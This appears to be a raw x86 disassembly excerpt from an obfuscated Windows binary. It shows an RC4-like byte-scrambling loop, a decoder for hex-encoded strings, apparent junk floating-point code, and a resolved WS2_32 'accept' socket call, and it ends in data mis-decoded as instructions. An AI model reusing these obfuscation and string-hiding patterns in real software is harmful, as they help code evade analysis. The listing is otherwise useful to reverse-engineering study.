ja case.default.0x42b4c9
mov eax, dword [ebp - 0x5204]
jmp dword [eax*4 + 0x46b4e0]
movzx ecx, byte [ebp - 0x3368]
movzx ebx, byte [ebp + ecx - 0x692c]
movsd xmm0, qword [ebp - 0x4704]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x42b5b2
movzx edx, byte [ebp - 0x3368]
movzx ebx, byte [ebp + edx - 0x692c]
movsd xmm0, qword [ebp - 0x4704]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x42b5b2
movzx eax, byte [ebp - 0x3368]
movzx ebx, byte [ebp + eax - 0x692c]
movsd xmm0, qword [ebp - 0x4704]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x42b5b2
movzx ecx, byte [ebp - 0x3368]
movzx ebx, byte [ebp + ecx - 0x692c]
movsd xmm0, qword [ebp - 0x4704]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3368], bl
jmp 0x42b5b2
movzx edx, byte [ebp - 0x3368]
movzx eax, byte [ebp + edx - 0x692c]
mov ecx, dword [ebp - 0x5fb0]
add ecx, dword [ebp - 0x44bc]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x3368], al
mov eax, dword [ebp - 0x44bc]
add eax, 1
mov dword [ebp - 0x44bc], eax
movzx ecx, byte [ebp - 0x3feb]
cmp dword [ebp - 0x44bc], ecx
jb 0x42b5f0
mov dword [ebp - 0x44bc], 0
movzx edx, byte [ebp - 0x3feb]
movzx eax, byte [ebp - 0x3368]
add eax, edx
mov byte [ebp - 0x3368], al
movzx ecx, byte [ebp - 0x3368]
and ecx, dword [ebp - 0x485c]
mov dword [ebp - 0x42d4], ecx
mov edx, dword [ebp - 0x4abc]
add edx, 1
mov dword [ebp - 0x4abc], edx
cmp dword [ebp - 0x4abc], 0xb
jbe 0x42b62f
mov eax, dword [ebp - 0x42d4]
xor edx, edx
div dword [ebp - 0x3934]
mov dword [ebp - 0x42d4], edx
mov eax, dword [ebp - 0x42d4]
cmp eax, dword [ebp - 0x3934]
ja 0x42b4aa
mov ecx, dword [ebp - 0x3934]
cmp ecx, dword [ebp - 0x42d4]
je 0x42b6d4
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [ebp + edx - 0x692c]
mov ecx, dword [ebp - 0x3934]
movzx edx, byte [ebp + ecx - 0x692c]
xor edx, eax
mov eax, dword [ebp - 0x3934]
mov byte [ebp + eax - 0x692c], dl
mov ecx, dword [ebp - 0x3934]
movzx edx, byte [ebp + ecx - 0x692c]
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [ebp + eax - 0x692c]
xor ecx, edx
mov edx, dword [ebp - 0x42d4]
mov byte [ebp + edx - 0x692c], cl
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [ebp + eax - 0x692c]
mov edx, dword [ebp - 0x3934]
movzx eax, byte [ebp + edx - 0x692c]
xor eax, ecx
mov ecx, dword [ebp - 0x3934]
mov byte [ebp + ecx - 0x692c], al
jmp 0x42b45a
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x692c]
mov byte [ebp - 0x32bb], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x692c]
mov byte [ebp - 0x32e6], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x692c]
mov byte [ebp - 0x332a], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x692c]
mov byte [ebp - 0x32dc], al
movzx ecx, byte [ebp - 0x3368]
mov dl, byte [ebp + ecx - 0x692c]
mov byte [ebp - 0x3303], dl
mov dword [ebp - 0x5200], 0xa
cmp dword [ebp - 0x5200], 2
jle 0x42c65c
mov eax, dword [ebp - 0x5200]
and eax, 1
jne 0x42c65c
mov dword [ebp - 0x3468], 0
mov dword [ebp - 0x3d4c], 0
mov ecx, dword [ebp - 0x3d4c]
add ecx, 1
mov dword [ebp - 0x3d4c], ecx
mov dword [ebp - 0x4104], 0
mov edx, dword [ebp - 0x3468]
shl edx, 1
mov dword [ebp - 0x4104], edx
mov dword [ebp - 0x3ee8], 0
mov eax, dword [ebp - 0x4108]
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3ee8]
mov dword [ebp - 0x3ee8], ecx
mov dword [ebp - 0x3ee4], 0
mov edx, dword [ebp - 0x3ee4]
add edx, 0xb8
mov dword [ebp - 0x3ee4], edx
mov dword [ebp - 0x410c], 0
mov eax, dword [ebp - 0x3468]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x410c], ecx
mov dword [ebp - 0x3ee0], 0
mov edx, dword [ebp - 0x4108]
add edx, dword [ebp - 0x410c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3ee0]
mov dword [ebp - 0x3ee0], eax
mov dword [ebp - 0x3edc], 0
mov ecx, dword [ebp - 0x3edc]
add ecx, 0x73
mov dword [ebp - 0x3edc], ecx
mov dword [ebp - 0x3ed8], 0
mov edx, dword [ebp - 0x3ee8]
sub edx, dword [ebp - 0x3ee4]
add edx, dword [ebp - 0x3ed8]
mov dword [ebp - 0x3ed8], edx
mov dword [ebp - 0x3ed4], 0
mov eax, dword [ebp - 0x3ee0]
sub eax, dword [ebp - 0x3edc]
add eax, dword [ebp - 0x3ed4]
mov dword [ebp - 0x3ed4], eax
mov dword [ebp - 0x4110], 0
mov ecx, dword [ebp - 0x3ed8]
shl ecx, 4
mov dword [ebp - 0x4110], ecx
mov dword [ebp - 0x4114], 0
mov edx, dword [ebp - 0x3ed4]
mov dword [ebp - 0x4114], edx
mov dword [ebp - 0x4118], 0
mov eax, dword [ebp - 0x4110]
or eax, dword [ebp - 0x4114]
mov dword [ebp - 0x4118], eax
mov byte [ebp - 0x332b], 0
mov cl, byte [ebp - 0x4118]
mov byte [ebp - 0x332b], cl
mov byte [ebp - 0x3329], 0
movzx edx, byte [ebp - 0x3303]
mov al, byte [ebp + edx - 0x692c]
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x32bb]
movzx edx, byte [ebp + ecx - 0x692c]
movzx eax, byte [ebp - 0x32e6]
add eax, edx
mov byte [ebp - 0x32e6], al
mov cl, byte [ebp - 0x32bb]
add cl, 1
mov byte [ebp - 0x32bb], cl
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp - 0x3303]
mov cl, byte [ebp + edx - 0x692c]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp - 0x32e6]
mov cl, byte [ebp + edx - 0x692c]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp - 0x32dc]
mov cl, byte [ebp + edx - 0x692c]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x32bb]
mov al, byte [ebp - 0x3329]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x3329]
movzx edx, byte [ebp + ecx - 0x692c]
movzx eax, byte [ebp - 0x332a]
add eax, edx
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x332b]
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp + edx - 0x692c]
movzx edx, byte [ebp - 0x32bb]
movzx edx, byte [ebp + edx - 0x692c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x692c]
xor ecx, eax
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp + edx - 0x692c]
movzx edx, byte [ebp - 0x3303]
movzx edx, byte [ebp + edx - 0x692c]
add eax, edx
movzx edx, byte [ebp - 0x332a]
movzx edx, byte [ebp + edx - 0x692c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x692c]
movzx edx, byte [ebp + eax - 0x692c]
xor ecx, edx
mov byte [ebp - 0x32dc], cl
mov al, byte [ebp - 0x332b]
mov byte [ebp - 0x3303], al
mov cl, byte [ebp - 0x32dc]
mov byte [ebp - 0x33b5], cl
cmp dword [ebp - 0x3468], 0
jle 0x42ba63
movsx dx, byte [ebp - 0x33b5]
mov eax, dword [ebp - 0x3468]
mov word [ebp + eax*2 - 0x12], dx
mov ecx, dword [ebp - 0x3468]
add ecx, 1
mov dword [ebp - 0x3468], ecx
mov edx, dword [ebp - 0x3d4c]
add edx, 1
mov dword [ebp - 0x3d4c], edx
mov eax, dword [ebp - 0x3468]
shl eax, 1
mov dword [ebp - 0x4104], eax
mov ecx, dword [ebp - 0x4108]
add ecx, dword [ebp - 0x4104]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ee8], edx
mov dword [ebp - 0x3ee4], 0xb8
mov eax, dword [ebp - 0x3468]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x410c], ecx
mov edx, dword [ebp - 0x4108]
add edx, dword [ebp - 0x410c]
movzx eax, byte [edx]
mov dword [ebp - 0x3ee0], eax
mov dword [ebp - 0x3edc], 0x73
mov ecx, dword [ebp - 0x3ee8]
sub ecx, dword [ebp - 0x3ee4]
mov dword [ebp - 0x3ed8], ecx
mov edx, dword [ebp - 0x3ee0]
sub edx, dword [ebp - 0x3edc]
mov dword [ebp - 0x3ed4], edx
mov eax, dword [ebp - 0x3ed8]
shl eax, 4
mov dword [ebp - 0x4110], eax
mov ecx, dword [ebp - 0x3ed4]
mov dword [ebp - 0x4114], ecx
mov edx, dword [ebp - 0x4110]
or edx, dword [ebp - 0x4114]
mov dword [ebp - 0x4118], edx
mov al, byte [ebp - 0x4118]
mov byte [ebp - 0x332b], al
movzx ecx, byte [ebp - 0x3303]
mov dl, byte [ebp + ecx - 0x692c]
mov byte [ebp - 0x3329], dl
movzx eax, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + eax - 0x692c]
movzx edx, byte [ebp - 0x32e6]
add edx, ecx
mov byte [ebp - 0x32e6], dl
mov al, byte [ebp - 0x32bb]
add al, 1
mov byte [ebp - 0x32bb], al
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp - 0x3303]
mov al, byte [ebp + ecx - 0x692c]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp - 0x32e6]
mov al, byte [ebp + ecx - 0x692c]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x32bb]
movzx edx, byte [ebp - 0x32dc]
mov al, byte [ebp + ecx - 0x692c]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x32bb]
mov dl, byte [ebp - 0x3329]
mov byte [ebp + ecx - 0x692c], dl
movzx eax, byte [ebp - 0x3329]
movzx ecx, byte [ebp + eax - 0x692c]
movzx edx, byte [ebp - 0x332a]
add edx, ecx
mov byte [ebp - 0x332a], dl
movzx eax, byte [ebp - 0x332b]
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp + ecx - 0x692c]
movzx ecx, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + ecx - 0x692c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x692c]
xor eax, edx
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp + ecx - 0x692c]
movzx ecx, byte [ebp - 0x3303]
movzx ecx, byte [ebp + ecx - 0x692c]
add edx, ecx
movzx ecx, byte [ebp - 0x332a]
movzx ecx, byte [ebp + ecx - 0x692c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x692c]
movzx ecx, byte [ebp + edx - 0x692c]
xor eax, ecx
mov byte [ebp - 0x32dc], al
mov dl, byte [ebp - 0x332b]
mov byte [ebp - 0x3303], dl
mov al, byte [ebp - 0x32dc]
mov byte [ebp - 0x33b5], al
cmp dword [ebp - 0x3468], 0
jle 0x42bcba
movsx cx, byte [ebp - 0x33b5]
mov edx, dword [ebp - 0x3468]
mov word [ebp + edx*2 - 0x12], cx
mov eax, dword [ebp - 0x3468]
add eax, 1
mov dword [ebp - 0x3468], eax
mov ecx, dword [ebp - 0x3d4c]
add ecx, 1
mov dword [ebp - 0x3d4c], ecx
mov edx, dword [ebp - 0x3468]
shl edx, 1
mov dword [ebp - 0x4104], edx
mov eax, dword [ebp - 0x4108]
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ee8], ecx
mov dword [ebp - 0x3ee4], 0xb8
mov edx, dword [ebp - 0x3468]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x410c], eax
mov ecx, dword [ebp - 0x4108]
add ecx, dword [ebp - 0x410c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ee0], edx
mov dword [ebp - 0x3edc], 0x73
mov eax, dword [ebp - 0x3ee8]
sub eax, dword [ebp - 0x3ee4]
mov dword [ebp - 0x3ed8], eax
mov ecx, dword [ebp - 0x3ee0]
sub ecx, dword [ebp - 0x3edc]
mov dword [ebp - 0x3ed4], ecx
mov edx, dword [ebp - 0x3ed8]
shl edx, 4
mov dword [ebp - 0x4110], edx
mov eax, dword [ebp - 0x3ed4]
mov dword [ebp - 0x4114], eax
mov ecx, dword [ebp - 0x4110]
or ecx, dword [ebp - 0x4114]
mov dword [ebp - 0x4118], ecx
mov dl, byte [ebp - 0x4118]
mov byte [ebp - 0x332b], dl
movzx eax, byte [ebp - 0x3303]
mov cl, byte [ebp + eax - 0x692c]
mov byte [ebp - 0x3329], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp + edx - 0x692c]
movzx ecx, byte [ebp - 0x32e6]
add ecx, eax
mov byte [ebp - 0x32e6], cl
mov dl, byte [ebp - 0x32bb]
add dl, 1
mov byte [ebp - 0x32bb], dl
movzx eax, byte [ebp - 0x32e6]
movzx ecx, byte [ebp - 0x3303]
mov dl, byte [ebp + eax - 0x692c]
mov byte [ebp + ecx - 0x692c], dl
movzx eax, byte [ebp - 0x32dc]
movzx ecx, byte [ebp - 0x32e6]
mov dl, byte [ebp + eax - 0x692c]
mov byte [ebp + ecx - 0x692c], dl
movzx eax, byte [ebp - 0x32bb]
movzx ecx, byte [ebp - 0x32dc]
mov dl, byte [ebp + eax - 0x692c]
mov byte [ebp + ecx - 0x692c], dl
movzx eax, byte [ebp - 0x32bb]
mov cl, byte [ebp - 0x3329]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x3329]
movzx eax, byte [ebp + edx - 0x692c]
movzx ecx, byte [ebp - 0x332a]
add ecx, eax
mov byte [ebp - 0x332a], cl
movzx edx, byte [ebp - 0x332b]
movzx eax, byte [ebp - 0x32e6]
movzx ecx, byte [ebp + eax - 0x692c]
movzx eax, byte [ebp - 0x32bb]
movzx eax, byte [ebp + eax - 0x692c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x692c]
xor edx, ecx
movzx eax, byte [ebp - 0x32dc]
movzx ecx, byte [ebp + eax - 0x692c]
movzx eax, byte [ebp - 0x3303]
movzx eax, byte [ebp + eax - 0x692c]
add ecx, eax
movzx eax, byte [ebp - 0x332a]
movzx eax, byte [ebp + eax - 0x692c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x692c]
movzx eax, byte [ebp + ecx - 0x692c]
xor edx, eax
mov byte [ebp - 0x32dc], dl
mov cl, byte [ebp - 0x332b]
mov byte [ebp - 0x3303], cl
mov dl, byte [ebp - 0x32dc]
mov byte [ebp - 0x33b5], dl
cmp dword [ebp - 0x3468], 0
jle 0x42bf12
movsx ax, byte [ebp - 0x33b5]
mov ecx, dword [ebp - 0x3468]
mov word [ebp + ecx*2 - 0x12], ax
mov edx, dword [ebp - 0x3468]
add edx, 1
mov dword [ebp - 0x3468], edx
mov eax, dword [ebp - 0x3d4c]
add eax, 1
mov dword [ebp - 0x3d4c], eax
mov ecx, dword [ebp - 0x3468]
shl ecx, 1
mov dword [ebp - 0x4104], ecx
mov edx, dword [ebp - 0x4108]
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3ee8], eax
mov dword [ebp - 0x3ee4], 0xb8
mov ecx, dword [ebp - 0x3468]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x410c], edx
mov eax, dword [ebp - 0x4108]
add eax, dword [ebp - 0x410c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ee0], ecx
mov dword [ebp - 0x3edc], 0x73
mov edx, dword [ebp - 0x3ee8]
sub edx, dword [ebp - 0x3ee4]
mov dword [ebp - 0x3ed8], edx
mov eax, dword [ebp - 0x3ee0]
sub eax, dword [ebp - 0x3edc]
mov dword [ebp - 0x3ed4], eax
mov ecx, dword [ebp - 0x3ed8]
shl ecx, 4
mov dword [ebp - 0x4110], ecx
mov edx, dword [ebp - 0x3ed4]
mov dword [ebp - 0x4114], edx
mov eax, dword [ebp - 0x4110]
or eax, dword [ebp - 0x4114]
mov dword [ebp - 0x4118], eax
mov cl, byte [ebp - 0x4118]
mov byte [ebp - 0x332b], cl
movzx edx, byte [ebp - 0x3303]
mov al, byte [ebp + edx - 0x692c]
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x32bb]
movzx edx, byte [ebp + ecx - 0x692c]
movzx eax, byte [ebp - 0x32e6]
add eax, edx
mov byte [ebp - 0x32e6], al
mov cl, byte [ebp - 0x32bb]
add cl, 1
mov byte [ebp - 0x32bb], cl
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp - 0x3303]
mov cl, byte [ebp + edx - 0x692c]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp - 0x32e6]
mov cl, byte [ebp + edx - 0x692c]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp - 0x32dc]
mov cl, byte [ebp + edx - 0x692c]
mov byte [ebp + eax - 0x692c], cl
movzx edx, byte [ebp - 0x32bb]
mov al, byte [ebp - 0x3329]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x3329]
movzx edx, byte [ebp + ecx - 0x692c]
movzx eax, byte [ebp - 0x332a]
add eax, edx
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x332b]
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp + edx - 0x692c]
movzx edx, byte [ebp - 0x32bb]
movzx edx, byte [ebp + edx - 0x692c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x692c]
xor ecx, eax
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp + edx - 0x692c]
movzx edx, byte [ebp - 0x3303]
movzx edx, byte [ebp + edx - 0x692c]
add eax, edx
movzx edx, byte [ebp - 0x332a]
movzx edx, byte [ebp + edx - 0x692c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x692c]
movzx edx, byte [ebp + eax - 0x692c]
xor ecx, edx
mov byte [ebp - 0x32dc], cl
mov al, byte [ebp - 0x332b]
mov byte [ebp - 0x3303], al
mov cl, byte [ebp - 0x32dc]
mov byte [ebp - 0x33b5], cl
cmp dword [ebp - 0x3468], 0
jle 0x42c168
movsx dx, byte [ebp - 0x33b5]
mov eax, dword [ebp - 0x3468]
mov word [ebp + eax*2 - 0x12], dx
mov ecx, dword [ebp - 0x3d4c]
add ecx, 1
mov dword [ebp - 0x3d4c], ecx
mov edx, dword [ebp - 0x3468]
add edx, 1
mov dword [ebp - 0x4ac0], edx
jmp 0x42c197
mov eax, dword [ebp - 0x4ac0]
add eax, 1
mov dword [ebp - 0x4ac0], eax
mov ecx, dword [ebp - 0x4ac0]
cmp ecx, dword [ebp - 0x3d4c]
jge 0x42c620
mov edx, dword [ebp - 0x3468]
add edx, 1
mov dword [ebp - 0x3468], edx
mov eax, dword [ebp - 0x3468]
shl eax, 1
mov dword [ebp - 0x4104], eax
movss xmm0, dword [0xa6f314]
movss dword [ebp - 0x3e34], xmm0
movss xmm0, dword [0xa6f2bc]
movss dword [ebp - 0x468c], xmm0
movss xmm0, dword [0xa6f224]
movss dword [ebp - 0x4858], xmm0
movss xmm0, dword [0xa6f168]
movss dword [ebp - 0x43c8], xmm0
movss xmm0, dword [0xa6f0bc]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [0xa6f00c]
movss dword [ebp - 0x3eec], xmm0
movss xmm0, dword [ebp - 0x468c]
addss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x468c], xmm0
movss xmm0, dword [ebp - 0x3e34]
addss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x3e34], xmm0
movss xmm0, dword [ebp - 0x39f8]
subss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x4858]
addss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x4858], xmm0
movss xmm0, dword [ebp - 0x3e34]
subss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x3e34], xmm0
movss xmm0, dword [ebp - 0x39f8]
mulss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x3eec]
comiss xmm0, dword [ebp - 0x39f8]
jbe 0x42c360
movss xmm0, dword [ebp - 0x3e34]
addss xmm0, dword [ebp - 0x468c]
movss dword [ebp - 0x3e34], xmm0
movss xmm0, dword [ebp - 0x43c8]
addss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x43c8], xmm0
movss xmm0, dword [ebp - 0x43c8]
addss xmm0, dword [ebp - 0x39f8]
movss dword [ebp - 0x43c8], xmm0
movss xmm0, dword [ebp - 0x39f8]
mulss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x4858]
subss xmm0, dword [ebp - 0x43c8]
movss dword [ebp - 0x4858], xmm0
movss xmm0, dword [ebp - 0x3e34]
addss xmm0, dword [ebp - 0x468c]
movss dword [ebp - 0x3e34], xmm0
jmp 0x42c405
movss xmm0, dword [ebp - 0x39f8]
subss xmm0, dword [ebp - 0x3e34]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x43c8]
mulss xmm0, dword [ebp - 0x3eec]
movss dword [ebp - 0x43c8], xmm0
movss xmm0, dword [ebp - 0x3eec]
subss xmm0, dword [ebp - 0x468c]
movss dword [ebp - 0x3eec], xmm0
movss xmm0, dword [ebp - 0x39f8]
subss xmm0, dword [ebp - 0x3e34]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x39f8]
addss xmm0, dword [ebp - 0x3e34]
movss dword [ebp - 0x39f8], xmm0
movss xmm0, dword [ebp - 0x39f8]
addss xmm0, dword [ebp - 0x3e34]
movss dword [ebp - 0x39f8], xmm0
mov ecx, dword [ebp - 0x4108]
add ecx, dword [ebp - 0x4104]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ee8], edx
mov dword [ebp - 0x3ee4], 0xb8
mov eax, dword [ebp - 0x3468]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x410c], ecx
mov edx, dword [ebp - 0x4108]
add edx, dword [ebp - 0x410c]
movzx eax, byte [edx]
mov dword [ebp - 0x3ee0], eax
mov dword [ebp - 0x3edc], 0x73
mov ecx, dword [ebp - 0x3ee8]
sub ecx, dword [ebp - 0x3ee4]
mov dword [ebp - 0x3ed8], ecx
mov edx, dword [ebp - 0x3ee0]
sub edx, dword [ebp - 0x3edc]
mov dword [ebp - 0x3ed4], edx
mov eax, dword [ebp - 0x3ed8]
shl eax, 4
mov dword [ebp - 0x4110], eax
mov ecx, dword [ebp - 0x3ed4]
mov dword [ebp - 0x4114], ecx
mov edx, dword [ebp - 0x4110]
or edx, dword [ebp - 0x4114]
mov dword [ebp - 0x4118], edx
mov al, byte [ebp - 0x4118]
mov byte [ebp - 0x332b], al
movzx ecx, byte [ebp - 0x3303]
mov dl, byte [ebp + ecx - 0x692c]
mov byte [ebp - 0x3329], dl
movzx eax, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + eax - 0x692c]
movzx edx, byte [ebp - 0x32e6]
add edx, ecx
mov byte [ebp - 0x32e6], dl
mov al, byte [ebp - 0x32bb]
add al, 1
mov byte [ebp - 0x32bb], al
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp - 0x3303]
mov al, byte [ebp + ecx - 0x692c]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp - 0x32e6]
mov al, byte [ebp + ecx - 0x692c]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x32bb]
movzx edx, byte [ebp - 0x32dc]
mov al, byte [ebp + ecx - 0x692c]
mov byte [ebp + edx - 0x692c], al
movzx ecx, byte [ebp - 0x32bb]
mov dl, byte [ebp - 0x3329]
mov byte [ebp + ecx - 0x692c], dl
movzx eax, byte [ebp - 0x3329]
movzx ecx, byte [ebp + eax - 0x692c]
movzx edx, byte [ebp - 0x332a]
add edx, ecx
mov byte [ebp - 0x332a], dl
movzx eax, byte [ebp - 0x332b]
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp + ecx - 0x692c]
movzx ecx, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + ecx - 0x692c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x692c]
xor eax, edx
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp + ecx - 0x692c]
movzx ecx, byte [ebp - 0x3303]
movzx ecx, byte [ebp + ecx - 0x692c]
add edx, ecx
movzx ecx, byte [ebp - 0x332a]
movzx ecx, byte [ebp + ecx - 0x692c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x692c]
movzx ecx, byte [ebp + edx - 0x692c]
xor eax, ecx
mov byte [ebp - 0x32dc], al
mov dl, byte [ebp - 0x332b]
mov byte [ebp - 0x3303], dl
mov al, byte [ebp - 0x32dc]
mov byte [ebp - 0x33b5], al
cmp dword [ebp - 0x3468], 0
jle 0x42c61b
movsx cx, byte [ebp - 0x33b5]
mov edx, dword [ebp - 0x3468]
mov word [ebp + edx*2 - 0x12], cx
jmp 0x42c188
mov eax, dword [ebp - 0x3d4c]
add eax, 1
mov dword [ebp - 0x3d4c], eax
mov ecx, 2
shl ecx, 2
mov dword [ebp - 0x51fc], ecx
cmp dword [ebp - 0x51fc], 0xa
jae 0x42c648
jmp 0x42c64d
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x51fc]
mov word [ebp + eax - 0x10], dx
jmp 0x42c6ad
mov dword [ebp - 0x4854], 0
jmp 0x42c677
mov ecx, dword [ebp - 0x4854]
add ecx, 1
mov dword [ebp - 0x4854], ecx
cmp dword [ebp - 0x4854], 5
jge 0x42c6ad
mov edx, dword [ebp - 0x4854]
shl edx, 1
mov dword [ebp - 0x51f8], edx
cmp dword [ebp - 0x51f8], 0xa
jae 0x42c699
jmp 0x42c69e
call fcn.009f1ed7
xor eax, eax
mov ecx, dword [ebp - 0x51f8]
mov word [ebp + ecx - 0x10], ax
jmp 0x42c668
push 1
mov edx, dword [ebp - 0x465c]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xbc]
push edx
push reloc.WS2_32.dll_accept
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x3230], 0
mov dword [ebp - 0x325c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x470c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4600], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4600], xmm0
jmp 0x42c721
movsd xmm0, qword [ebp - 0x4600]
addsd xmm0, qword [0xa6e350]
movsd qword [ebp - 0x4600], xmm0
movsd xmm0, qword [0xa6e750]
comisd xmm0, xmmword [ebp - 0x4600]
jbe 0x42c7d2
movsd xmm0, qword [0xa6e6b0]
mulsd xmm0, qword [ebp - 0x4600]
mulsd xmm0, qword [ebp - 0x4600]
movsd xmm1, qword [ebp - 0x4600]
mulsd xmm1, qword [ebp - 0x4600]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3f8]
mulsd xmm1, qword [ebp - 0x4600]
mulsd xmm1, qword [ebp - 0x4600]
addsd xmm1, qword [0xa6e490]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x470c]
movsd qword [ebp - 0x470c], xmm0
movsd xmm0, qword [ebp - 0x470c]
comisd xmm0, xmmword [0xa6e528]
jbe 0x42c7cd
movsd xmm0, qword [0xa6e310]
mulsd xmm0, qword [ebp - 0x4600]
movsd xmm1, qword [ebp - 0x470c]
subsd xmm1, xmm0
movsd qword [ebp - 0x470c], xmm1
jmp 0x42c709
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x470c]
jbe 0x42c804
push 0x46
aas
dec edx
and eax, 0x4267546a
jge 0x42c842
and dword cs:[esi + 0x4e], ebx
xor dl, byte [ecx - 9]
insb byte es:[edi], dx
cli
push 0x70f36bf1
cli
insd dword es:[edi], dx
sti
arpl ax, di
jmp 0x42e71f
mov dword [ebp - 0x3230], 0x42c7f1
mov dword [ebp - 0x325c], 0x42c7df
mov eax, dword [ebp - 0x3230]
mov dword [ebp - 0x4304], eax
mov ecx, dword [ebp - 0x325c]
mov dword [ebp - 0x6220], ecx
mov byte [ebp - 0x3fea], 0x16
mov dword [ebp - 0x3938], 0
jmp 0x42c852
jnp 0x990dd
mov edx, dword [ebp - 0x3938]
add edx, 1
mov dword [ebp - 0x3938], edx
inc dword [ebx - 0x6a76fe3e]
enter 0xffffffffffffffc6, 0xffffffffffffffff
